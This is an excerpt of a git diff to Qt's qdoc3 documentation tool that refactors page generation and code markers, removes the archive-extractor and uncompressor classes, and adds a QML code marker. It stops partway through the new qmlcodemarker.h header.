diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp
index 3e160c9..d5564f7 100644
--- a/tools/qdoc3/pagegenerator.cpp
+++ b/tools/qdoc3/pagegenerator.cpp
@@ -46,6 +46,7 @@
 #include <qfile.h>
 #include <qfileinfo.h>
 #include <qdebug.h>
+#include "codemarker.h"
 #include "pagegenerator.h"
 #include "tree.h"
 
@@ -55,6 +56,7 @@ QT_BEGIN_NAMESPACE
   Nothing to do in the constructor.
  */
 PageGenerator::PageGenerator()
+    : outputCodec(0)
 {
     // nothing.
 }
@@ -175,9 +177,9 @@ bool PageGenerator::parseArg(const QString& src,
 /*!
   This function is recursive.
  */
-void PageGenerator::generateTree(const Tree *tree, CodeMarker *marker)
+void PageGenerator::generateTree(const Tree *tree)
 {
-    generateInnerNode(tree->root(), marker);
+    generateInnerNode(tree->root());
 }
 
 QString PageGenerator::fileBase(const Node *node) const
@@ -204,15 +206,15 @@ QString PageGenerator::fileBase(const Node *node) const
 #ifdef QDOC_QML
         /*
           To avoid file name conflicts in the html directory,
-          we prepend "qml-" to the file name of QML element doc
-          files.
+          we prepend a prefix (by default, "qml-") to the file name of QML
+          element doc files.
          */
         if ((p->subType() == Node::QmlClass) ||
             (p->subType() == Node::QmlBasicType)) {
             if (!base.startsWith(QLatin1String("QML:")))
-                base.prepend("qml-");
+                base.prepend(outputPrefix(QLatin1String("QML")));
         }
-#endif        
+#endif
         if (!pp || pp->name().isEmpty() || pp->type() == Node::Fake)
             break;
         base.prepend(QLatin1Char('-'));
@@ -257,7 +259,12 @@ QString PageGenerator::fileBase(const Node *node) const
     return res;
 }
 
-QString PageGenerator::fileName(const Node *node) const
+/*!
+  If the \a node has a URL, return the URL as the file name.
+  Otherwise, construct the file name from the fileBase() and
+  the fileExtension(), and return the constructed name.
+ */
+QString PageGenerator::fileName(const Node* node) const
 {
     if (!node->url().isEmpty())
         return node->url();
@@ -268,23 +275,37 @@ QString PageGenerator::fileName(const Node *node) const
     return name;
 }
 
+/*!
+  Return the current output file name.
+ */
 QString PageGenerator::outFileName()
 {
-    return QFileInfo(static_cast<QFile *>(out().device())->fileName()).fileName();
+    return QFileInfo(static_cast<QFile*>(out().device())->fileName()).fileName();
 }
 
+/*!
+  Creates the file named \a fileName in the output directory.
+  Attaches a QTextStream to the created file, which is written
+  to all over the place using out().
+ */
 void PageGenerator::beginSubPage(const Location& location,
                                  const QString& fileName)
 {
-    QFile *outFile = new QFile(outputDir() + "/" + fileName);
+    QFile* outFile = new QFile(outputDir() + "/" + fileName);
     if (!outFile->open(QFile::WriteOnly))
-	location.fatal(tr("Cannot open output file '%1'")
-			.arg(outFile->fileName()));
-    QTextStream *out = new QTextStream(outFile);
-    out->setCodec(outputCodec);
+	location.fatal(tr("Cannot open output file '%1'").arg(outFile->fileName()));
+    QTextStream* out = new QTextStream(outFile);
+
+    if (outputCodec)
+        out->setCodec(outputCodec);
     outStreamStack.push(out);
 }
 
+/*!
+  Flush the text stream associated with the subpage, and
+  then pop it off the text stream stack and delete it.
+  This terminates output of the subpage.
+ */
 void PageGenerator::endSubPage()
 {
     outStreamStack.top()->flush();
@@ -292,16 +313,21 @@ void PageGenerator::endSubPage()
     delete outStreamStack.pop();
 }
 
+/*!
+  Used for writing to the current output stream. Returns a
+  reference to the crrent output stream, which is then used
+  with the \c {<<} operator for writing.
+ */
 QTextStream &PageGenerator::out()
 {
     return *outStreamStack.top();
 }
 
 /*!
-  Recursive writing of html files from the root \a node.
+  Recursive writing of HTML files from the root \a node.
  */
 void
-PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker)
+PageGenerator::generateInnerNode(const InnerNode* node)
 {
     if (!node->url().isNull())
         return;
@@ -320,6 +346,11 @@ PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker)
         }
     }
 
+    /*
+      Obtain a code marker for the source file.
+     */
+    CodeMarker *marker = CodeMarker::markerForFileName(node->location().filePath());
+
     if (node->parent() != 0) {
 	beginSubPage(node->location(), fileName(node));
 	if (node->type() == Node::Namespace || node->type() == Node::Class) {
@@ -334,7 +365,7 @@ PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker)
     NodeList::ConstIterator c = node->childNodes().begin();
     while (c != node->childNodes().end()) {
 	if ((*c)->isInnerNode() && (*c)->access() != Node::Private)
-	    generateInnerNode((const InnerNode *) *c, marker);
+	    generateInnerNode((const InnerNode *) *c);
 	++c;
     }
 }
diff --git a/tools/qdoc3/pagegenerator.h b/tools/qdoc3/pagegenerator.h
index 602a061..27e483b 100644
--- a/tools/qdoc3/pagegenerator.h
+++ b/tools/qdoc3/pagegenerator.h
@@ -48,14 +48,12 @@
 
 #include <QStack>
 #include <qtextstream.h>
-
 #include "generator.h"
 #include "location.h"
 
 QT_BEGIN_NAMESPACE
 
 class QTextCodec;
-
 class ClassNode;
 class InnerNode;
 class NamespaceNode;
@@ -66,16 +64,16 @@ class PageGenerator : public Generator
     PageGenerator();
     ~PageGenerator();
 
-    virtual void generateTree(const Tree *tree, CodeMarker *marker);
+    virtual void generateTree(const Tree *tree);
 
  protected:
-    virtual QString fileBase(const Node *node) const;
-    virtual QString fileExtension(const Node *node) const = 0;
-    QString fileName(const Node *node) const;
+    virtual QString fileBase(const Node* node) const;
+    virtual QString fileExtension(const Node* node) const = 0;
+    QString fileName(const Node* node) const;
     QString outFileName();
-    void beginSubPage(const Location& location, const QString& fileName);
-    void endSubPage();
-    virtual void generateInnerNode(const InnerNode *node, CodeMarker *marker);
+    virtual void beginSubPage(const Location& location, const QString& fileName);
+    virtual void endSubPage();
+    virtual void generateInnerNode(const InnerNode *node);
     QTextStream& out();
 
     QString naturalLanguage;
@@ -89,7 +87,7 @@ class PageGenerator : public Generator
                   QStringRef* par1 = 0,
                   bool debug = false);
 
- private:
+ protected:
     QStack<QTextStream*> outStreamStack;
 };
 
diff --git a/tools/qdoc3/plaincodemarker.cpp b/tools/qdoc3/plaincodemarker.cpp
index b3eae80..edeee39 100644
--- a/tools/qdoc3/plaincodemarker.cpp
+++ b/tools/qdoc3/plaincodemarker.cpp
@@ -66,6 +66,11 @@ bool PlainCodeMarker::recognizeLanguage( const QString& /* lang */ )
     return false;
 }
 
+Atom::Type PlainCodeMarker::atomType() const
+{
+    return Atom::Code;
+}
+
 QString PlainCodeMarker::plainName( const Node * /* node */ )
 {
     return "";
@@ -78,7 +83,7 @@ QString PlainCodeMarker::plainFullName(const Node * /* node */, const Node * /*
 
 QString PlainCodeMarker::markedUpCode( const QString& code,
 				       const Node * /* relative */,
-				       const QString& /* dirPath */ )
+				       const Location & /* location */ )
 {
     return protect( code );
 }
diff --git a/tools/qdoc3/plaincodemarker.h b/tools/qdoc3/plaincodemarker.h
index bc63b86..3c39e12 100644
--- a/tools/qdoc3/plaincodemarker.h
+++ b/tools/qdoc3/plaincodemarker.h
@@ -59,9 +59,10 @@ public:
     bool recognizeCode( const QString& code );
     bool recognizeExtension( const QString& ext );
     bool recognizeLanguage( const QString& lang );
+    Atom::Type atomType() const;
     QString plainName( const Node *node );
     QString plainFullName( const Node *node, const Node *relative );
-    QString markedUpCode( const QString& code, const Node *relative, const QString& dirPath );
+    QString markedUpCode( const QString& code, const Node *relative, const Location &location );
     QString markedUpSynopsis( const Node *node, const Node *relative,
         		      SynopsisStyle style );
     QString markedUpName( const Node *node );
diff --git a/tools/qdoc3/polyarchiveextractor.cpp b/tools/qdoc3/polyarchiveextractor.cpp
deleted file mode 100644
index 3594258..0000000
--- a/tools/qdoc3/polyarchiveextractor.cpp
+++ /dev/null
@@ -1,94 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  polyarchiveextractor.cpp
-*/
-
-#include "command.h"
-#include "polyarchiveextractor.h"
-
-QT_BEGIN_NAMESPACE
-
-/*!
-  \class PolyArchiveExtractor
-  
-  \brief The PolyArchiveExtractor class is a class for unpacking
-  archive files.
-
-  This subclass of ArchiveExtractor contains a parameterized
-  command for doing the archive extraction.
-
-  It has an extractArchive() function you call to do the
-  actual archive extraction.
- */
-
-/*!
-  The constructor takes the list of filename \a extensions,
-  which it passes to the base class, and the \a commandFormat,
-  which it stores locally. The \a commandFormat is a command
-  template string.
- */
-PolyArchiveExtractor::PolyArchiveExtractor( const QStringList& extensions,
-					    const QString& commandFormat )
-    : ArchiveExtractor( extensions ), cmd( commandFormat )
-{
-}
-
-/*!
-  The destructor doesn't have to do anything.
- */
-PolyArchiveExtractor::~PolyArchiveExtractor()
-{
-}
-
-/*!
-  Call this function to do the actual archive extraction. It calls
-  the executeCommand() function to do the work. That's all it does.
- */
-void PolyArchiveExtractor::extractArchive( const Location& location,
-					   const QString& filePath,
-					   const QString& outputDir )
-{
-    executeCommand( location, cmd, QStringList() << filePath << outputDir );
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/polyuncompressor.cpp b/tools/qdoc3/polyuncompressor.cpp
deleted file mode 100644
index b67c8fe..0000000
--- a/tools/qdoc3/polyuncompressor.cpp
+++ /dev/null
@@ -1,109 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include "command.h"
-#include "polyuncompressor.h"
-
-QT_BEGIN_NAMESPACE
-
-/*!
-  \class PolyUncompressor
-  
-  \brief The PolyUncompressor class is a class for uncompressing
-  compressed files.
-
-  This subclass of Uncompressor contains a parameterized
-  command for doing the uncompression
-
-  It has an uncompressFile() function you call to do the
-  actual uncompression.
- */
-
-/*!
-  The constructor takes the list of filename \a extensions,
-  which it passes to the base class, and the \a commandFormat,
-  which it stores locally. The \a commandFormat is a command
-  template string.
- */
-PolyUncompressor::PolyUncompressor( const QStringList& extensions,
-				    const QString& commandFormat )
-    : Uncompressor( extensions ), cmd( commandFormat )
-{
-}
-
-/*!
-  The destructor doesn't have to do anything.
- */
-PolyUncompressor::~PolyUncompressor()
-{
-}
-
-/*!
-  From \a filePath, derive a file path for the uncompressed
-  file and return it. If it can't figure out what the file
-  path should be, it just concatenates ".out" to the
-  \a filePath and returns that.
- */
-QString PolyUncompressor::uncompressedFilePath( const QString& filePath )
-{
-    QStringList::ConstIterator e = fileExtensions().begin();
-    while ( e != fileExtensions().end() ) {
-	QString dotExt = "." + *e;
-	if ( filePath.endsWith(dotExt) )
-	    return filePath.left( filePath.length() - dotExt.length() );
-	++e;
-    }
-    return filePath + ".out"; // doesn't really matter
-}
-
-/*!
-  Call this function to do the actual uncompressing. It calls
-  the executeCommand() function to do the work. That's all it does.
- */
-void PolyUncompressor::uncompressFile( const Location& location,
-				       const QString& filePath,
-				       const QString& outputFilePath )
-{
-    executeCommand( location, cmd,
-		    QStringList() << filePath << outputFilePath );
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/polyuncompressor.h b/tools/qdoc3/polyuncompressor.h
deleted file mode 100644
index c485d04..0000000
--- a/tools/qdoc3/polyuncompressor.h
+++ /dev/null
@@ -1,71 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  polyuncompressor.h
-*/
-
-#ifndef POLYUNCOMPRESSOR_H
-#define POLYUNCOMPRESSOR_H
-
-#include "uncompressor.h"
-
-QT_BEGIN_NAMESPACE
-
-class PolyUncompressor : public Uncompressor
-{
- public:
-    PolyUncompressor(const QStringList& extensions,
-		     const QString& commandFormat);
-    ~PolyUncompressor();
-
-    virtual QString uncompressedFilePath(const QString& filePath);
-    virtual void uncompressFile(const Location& location,
-				const QString& filePath,
-				const QString& outputFilePath);
-
- private:
-    QString cmd;
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/sgmlgenerator.cpp b/tools/qdoc3/puredocparser.cpp
index 1e2e6c9..7b203cf 100644
--- a/tools/qdoc3/sgmlgenerator.cpp
+++ b/tools/qdoc3/puredocparser.cpp
@@ -40,24 +40,24 @@
 ****************************************************************************/
 
 /*
-  sgmlgenerator.cpp
+  puredocparser.cpp
 */
 
-#include "sgmlgenerator.h"
+#include "puredocparser.h"
 
 QT_BEGIN_NAMESPACE
 
-SgmlGenerator::SgmlGenerator()
+PureDocParser::PureDocParser()
 {
 }
 
-SgmlGenerator::~SgmlGenerator()
+PureDocParser::~PureDocParser()
 {
 }
 
-QString SgmlGenerator::format()
+QStringList PureDocParser::sourceFileNameFilter()
 {
-    return "SGML";
+    return QStringList("*.qdoc");
 }
 
 QT_END_NAMESPACE
diff --git a/tools/qdoc3/ccodeparser.h b/tools/qdoc3/puredocparser.h
index af004b8..e0b41ab 100644
--- a/tools/qdoc3/ccodeparser.h
+++ b/tools/qdoc3/puredocparser.h
@@ -40,25 +40,31 @@
 ****************************************************************************/
 
 /*
-  ccodeparser.h
+  puredocparser.h
 */
 
-#ifndef CCODEPARSER_H
-#define CCODEPARSER_H
+#ifndef PUREDOCPARSER_H
+#define PUREDOCPARSER_H
+
+#include <QSet>
 
 #include "cppcodeparser.h"
+#include "location.h"
 
 QT_BEGIN_NAMESPACE
 
-class CCodeParser : public CppCodeParser
+class Config;
+class Node;
+class QString;
+class Tree;
+
+class PureDocParser : public CppCodeParser
 {
 public:
-    CCodeParser();
-    ~CCodeParser();
+    PureDocParser();
+    virtual ~PureDocParser();
 
-    virtual QString language();
-    virtual QString headerFileNameFilter();
-    virtual QString sourceFileNameFilter();
+    virtual QStringList sourceFileNameFilter();
 };
 
 QT_END_NAMESPACE
diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro
index d47e066..2fedc0f 100644
--- a/tools/qdoc3/qdoc3.pro
+++ b/tools/qdoc3/qdoc3.pro
@@ -24,98 +24,72 @@ build_all:!build_pass {
 }
 
 CONFIG -= app_bundle
-HEADERS += apigenerator.h \
-           archiveextractor.h \
-	   atom.h \
-	   bookgenerator.h \
-	   ccodeparser.h \
+HEADERS += atom.h \
            codechunk.h \
            codemarker.h \
 	   codeparser.h \
-	   command.h \
            config.h \
 	   cppcodemarker.h \
 	   cppcodeparser.h \
-	   cpptoqsconverter.h \
-	   dcfsection.h \
 	   ditaxmlgenerator.h \
            doc.h \
 	   editdistance.h \
 	   generator.h \
            helpprojectwriter.h \
 	   htmlgenerator.h \
-           jambiapiparser.h \
-	   javacodemarker.h \
-           javadocgenerator.h \
-           linguistgenerator.h \
+           jscodemarker.h \
            location.h \
-	   loutgenerator.h \
-	   mangenerator.h \
            node.h \
            openedlist.h \
 	   pagegenerator.h \
 	   plaincodemarker.h \
-	   polyarchiveextractor.h \
-	   polyuncompressor.h \
-	   qsakernelparser.h \
-	   qscodemarker.h \
-	   qscodeparser.h \
+           puredocparser.h \
+           qmlcodemarker.h \
+           qmlcodeparser.h \
+           qmlmarkupvisitor.h \
+           qmlvisitor.h \
            quoter.h \
 	   separator.h \
-	   sgmlgenerator.h \
 	   text.h \
 	   tokenizer.h \
 	   tr.h \
-	   tree.h \
-	   uncompressor.h \
-           webxmlgenerator.h
-SOURCES += apigenerator.cpp \
-           archiveextractor.cpp \
-	   atom.cpp \
-	   bookgenerator.cpp \
-	   ccodeparser.cpp \
+	   tree.h
+SOURCES += atom.cpp \
            codechunk.cpp \
            codemarker.cpp \
 	   codeparser.cpp \
-	   command.cpp \
            config.cpp \
 	   cppcodemarker.cpp \
 	   cppcodeparser.cpp \
-	   cpptoqsconverter.cpp \
-	   dcfsection.cpp \
 	   ditaxmlgenerator.cpp \
            doc.cpp \
 	   editdistance.cpp \
 	   generator.cpp \
            helpprojectwriter.cpp \
 	   htmlgenerator.cpp \
-           jambiapiparser.cpp \
-	   javacodemarker.cpp \
-           javadocgenerator.cpp \
-           linguistgenerator.cpp \
+           jscodemarker.cpp \
            location.cpp \
-	   loutgenerator.cpp \
-	   mangenerator.cpp \
            main.cpp \
            node.cpp \
            openedlist.cpp \
 	   pagegenerator.cpp \
 	   plaincodemarker.cpp \
-	   polyarchiveextractor.cpp \
-	   polyuncompressor.cpp \
-	   qsakernelparser.cpp \
-	   qscodemarker.cpp \
-	   qscodeparser.cpp \
+           puredocparser.cpp \
+           qmlcodemarker.cpp \
+           qmlcodeparser.cpp \
+           qmlmarkupvisitor.cpp \
+           qmlvisitor.cpp \
            quoter.cpp \
 	   separator.cpp \
-	   sgmlgenerator.cpp \
 	   text.cpp \
 	   tokenizer.cpp \
 	   tree.cpp \
-	   uncompressor.cpp \
-           webxmlgenerator.cpp \
 	   yyindent.cpp
 
+INCLUDEPATH += $$QT_BUILD_TREE/include/QtDeclarative
+
+include($$QT_SOURCE_TREE/src/declarative/qml/parser/parser.pri)
+
 ### Documentation for qdoc3 ###
 
 qtPrepareTool(QDOC, qdoc3)
diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp
new file mode 100644
index 0000000..a7dc5a0
--- /dev/null
+++ b/tools/qdoc3/qmlcodemarker.cpp
@@ -0,0 +1,302 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*
+  qmlcodemarker.cpp
+*/
+
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsastfwd_p.h"
+#include "private/qdeclarativejsengine_p.h"
+#include "private/qdeclarativejslexer_p.h"
+#include "private/qdeclarativejsnodepool_p.h"
+#include "private/qdeclarativejsparser_p.h"
+
+#include "atom.h"
+#include "node.h"
+#include "qmlcodemarker.h"
+#include "qmlmarkupvisitor.h"
+#include "text.h"
+#include "tree.h"
+
+QT_BEGIN_NAMESPACE
+
+QmlCodeMarker::QmlCodeMarker()
+{
+}
+
+QmlCodeMarker::~QmlCodeMarker()
+{
+}
+
+/*!
+  Returns true if the \a code is recognized by the parser.
+ */
+bool QmlCodeMarker::recognizeCode(const QString &code)
+{
+    QDeclarativeJS::Engine engine;
+    QDeclarativeJS::Lexer lexer(&engine);
+    QDeclarativeJS::Parser parser(&engine);
+    QDeclarativeJS::NodePool m_nodePool("<QmlCodeMarker::recognizeCode>", &engine);
+
+    QString newCode = code;
+    extractPragmas(newCode);
+    lexer.setCode(newCode, 1);
+
+    return parser.parse();
+}
+
+/*!
+  Returns true if \a ext is any of a list of file extensions
+  for the QML language.
+ */
+bool QmlCodeMarker::recognizeExtension(const QString &ext)
+{
+    return ext == "qml";
+}
+
+/*!
+  Returns true if the \a language is recognized. Only "QML" is
+  recognized by this marker.
+ */
+bool QmlCodeMarker::recognizeLanguage(const QString &language)
+{
+    return language == "QML";
+}
+
+/*!
+  Returns the type of atom used to represent QML code in the documentation.
+*/
+Atom::Type QmlCodeMarker::atomType() const
+{
+    return Atom::Qml;
+}
+
+/*!
+  Returns the name of the \a node. Method names include are returned with a
+  trailing set of parentheses.
+ */
+QString QmlCodeMarker::plainName(const Node *node)
+{
+    QString name = node->name();
+    if (node->type() == Node::QmlMethod)
+        name += "()";
+    return name;
+}
+
+QString QmlCodeMarker::plainFullName(const Node *node, const Node *relative)
+{
+    if (node->name().isEmpty()) {
+        return "global";
+    }
+    else {
+        QString fullName;
+        while (node) {
+            fullName.prepend(plainName(node));
+            if (node->parent() == relative || node->parent()->name().isEmpty())
+                break;
+            fullName.prepend("::");
+            node = node->parent();
+        }
+        return fullName;
+    }
+}
+
+QString QmlCodeMarker::markedUpCode(const QString &code,
+                                    const Node *relative,
+                                    const Location &location)
+{
+    return addMarkUp(code, relative, location);
+}
+
+QString QmlCodeMarker::markedUpName(const Node *node)
+{
+    QString name = linkTag(node, taggedNode(node));
+    if (node->type() == Node::QmlMethod)
+        name += "()";
+    return name;
+}
+
+QString QmlCodeMarker::markedUpFullName(const Node *node, const Node *relative)
+{
+    if (node->name().isEmpty()) {
+        return "global";
+    }
+    else {
+        QString fullName;
+        for (;;) {
+            fullName.prepend(markedUpName(node));
+            if (node->parent() == relative || node->parent()->name().isEmpty())
+                break;
+            fullName.prepend("<@op>::</@op>");
+            node = node->parent();
+        }
+        return fullName;
+    }
+}
+
+QString QmlCodeMarker::markedUpIncludes(const QStringList& includes)
+{
+    QString code;
+
+    QStringList::ConstIterator inc = includes.begin();
+    while (inc != includes.end()) {
+        code += "import " + *inc + "\n";
+        ++inc;
+    }
+    Location location;
+    return addMarkUp(code, 0, location);
+}
+
+QString QmlCodeMarker::functionBeginRegExp(const QString& funcName)
+{
+    return "^" + QRegExp::escape("function " + funcName) + "$";
+
+}
+
+QString QmlCodeMarker::functionEndRegExp(const QString& /* funcName */)
+{
+    return "^\\}$";
+}
+
+QString QmlCodeMarker::addMarkUp(const QString &code,
+                                 const Node * /* relative */,
+                                 const Location &location)
+{
+    QDeclarativeJS::Engine engine;
+    QDeclarativeJS::Lexer lexer(&engine);
+
+    QString newCode = code;
+    QList<QDeclarativeJS::AST::SourceLocation> pragmas = extractPragmas(newCode);
+    lexer.setCode(newCode, 1);
+
+    QDeclarativeJS::Parser parser(&engine);
+    QDeclarativeJS::NodePool m_nodePool("<QmlCodeMarker::addMarkUp>", &engine);
+    QString output;
+
+    if (parser.parse()) {
+        QDeclarativeJS::AST::UiProgram *ast = parser.ast();
+        // Pass the unmodified code to the visitor so that pragmas and other
+        // unhandled source text can be output.
+        QmlMarkupVisitor visitor(code, pragmas, &engine);
+        QDeclarativeJS::AST::Node::accept(ast, &visitor);
+        output = visitor.markedUpCode();
+    } else {
+        location.warning(tr("Unable to parse QML: \"%1\" at line %2, column %3").arg(
+            parser.errorMessage()).arg(parser.errorLineNumber()).arg(
+            parser.errorColumnNumber()));
+        output = protect(code);
+    }
+
+    return output;
+}
+
+/*
+Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp.
+*/
+static void replaceWithSpace(QString &str, int idx, int n)
+{
+    QChar *data = str.data() + idx;
+    const QChar space(QLatin1Char(' '));
+    for (int ii = 0; ii < n; ++ii)
+        *data++ = space;
+}
+
+/*
+Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp then
+modified to return a list of removed pragmas.
+
+Searches for ".pragma <value>" declarations within \a script.  Currently supported pragmas
+are:
+    library
+*/
+QList<QDeclarativeJS::AST::SourceLocation> QmlCodeMarker::extractPragmas(QString &script)
+{
+    const QString pragma(QLatin1String("pragma"));
+    const QString library(QLatin1String("library"));
+    QList<QDeclarativeJS::AST::SourceLocation> removed;
+
+    QDeclarativeJS::Lexer l(0);
+    l.setCode(script, 0);
+
+    int token = l.lex();
+
+    while (true) {
+        if (token != QDeclarativeJSGrammar::T_DOT)
+            return removed;
+
+        int startOffset = l.tokenOffset();
+        int startLine = l.currentLineNo();
+        int startColumn = l.currentColumnNo();
+
+        token = l.lex();
+
+        if (token != QDeclarativeJSGrammar::T_IDENTIFIER ||
+            l.currentLineNo() != startLine ||
+            script.mid(l.tokenOffset(), l.tokenLength()) != pragma)
+            return removed;
+
+        token = l.lex();
+
+        if (token != QDeclarativeJSGrammar::T_IDENTIFIER ||
+            l.currentLineNo() != startLine)
+            return removed;
+
+        QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength());
+        int endOffset = l.tokenLength() + l.tokenOffset();
+
+        token = l.lex();
+        if (l.currentLineNo() == startLine)
+            return removed;
+
+        if (pragmaValue == QLatin1String("library")) {
+            replaceWithSpace(script, startOffset, endOffset - startOffset);
+            removed.append(
+                QDeclarativeJS::AST::SourceLocation(
+                    startOffset, endOffset - startOffset,
+                    startLine, startColumn));
+        } else
+            return removed;
+    }
+    return removed;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h
new file mode 100644
index 0000000..d693456
--- /dev/null
+++ b/tools/qdoc3/qmlcodemarker.h
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*
+  qmlcodemarker.h
+*/
+
+#ifndef QMLCODEMARKER_H
+#define QMLCODEMARKER_H
+
+#include "private/qdeclarativejsastfwd_p.h"
+#include "cppcodemarker.h"
+
+QT_BEGIN_NAMESPACE
+
+class QmlCodeMarker : public CppCodeMarker
+{
+public:
+    QmlCodeMarker();
+    ~QmlCodeMarker();
+
+    virtual bool recognizeCode(const QString &code);
+    virtual bool recognizeExtension(const QString &ext);
+    virtual bool recognizeLanguage(const QString &language);
+    virtual Atom::Type atomType() const;
+    virtual QString plainName(const Node *node);
+    virtual QString plainFullName(const Node *node, const Node *relative);
+    virtual QString markedUpCode(const QString &code, 
+                                 const Node *relative, 
+                                 const Location &location);
+
